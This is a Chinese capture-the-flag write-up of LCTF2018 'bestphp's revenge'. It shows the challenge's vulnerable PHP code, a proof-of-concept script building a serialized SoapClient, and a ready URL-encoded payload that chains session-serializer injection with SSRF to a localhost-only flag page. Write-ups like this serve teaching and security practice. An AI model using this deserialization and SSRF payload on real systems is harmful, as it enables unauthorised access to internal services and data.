LCTF2018-bestphp‘s revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);//打印出seesion的内容
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

从代码中不难发现有call_user_func这个代码执行的常见函数,但其第二个参数被传入post数组无法被直接用来执行命令。
当参数为字符串时正常输出phpinfo
在这里插入图片描述

而当传入数组时便不会起效,同时在在php7.1版本之后 assert()默认不再可以执行代码,eval()也是不行的。
在这里插入图片描述

但当call_user_func第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。那在利用第一个回调函数对$b进行变量覆盖之后,通过两个call_user_func函数的套娃,第二个回调函数处$b=call_user_func$a为一个数组且作为call_user_func函数第一个参数,就可以用来调用php原生类的方法了。
SoapClient类可以用来ssrf:反序列化之PHP原生类的利用
而题目还有个flag.php页面,只能通过本地访问

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

那剩下要做的就是ssrf去访问flag.php,然后获取flag。再把SESSION中的flag打印出来。
反序列化的payload传入就需要用到PHP中SESSION的反序列化机制。我们可以利用回调函数来覆盖session默认的序列化引擎。
在这里插入图片描述在这里插入图片描述

构造SSRF的Soap类的序列化字符串POC

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

在POC中还有个CRLF:SOAP漏洞利用之CRLF与SSRF
Paylaod:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件
在这里插入图片描述

然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php,把flag写入session。
在这里插入图片描述

将这个session保存后,访问index.php打印出flag.
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值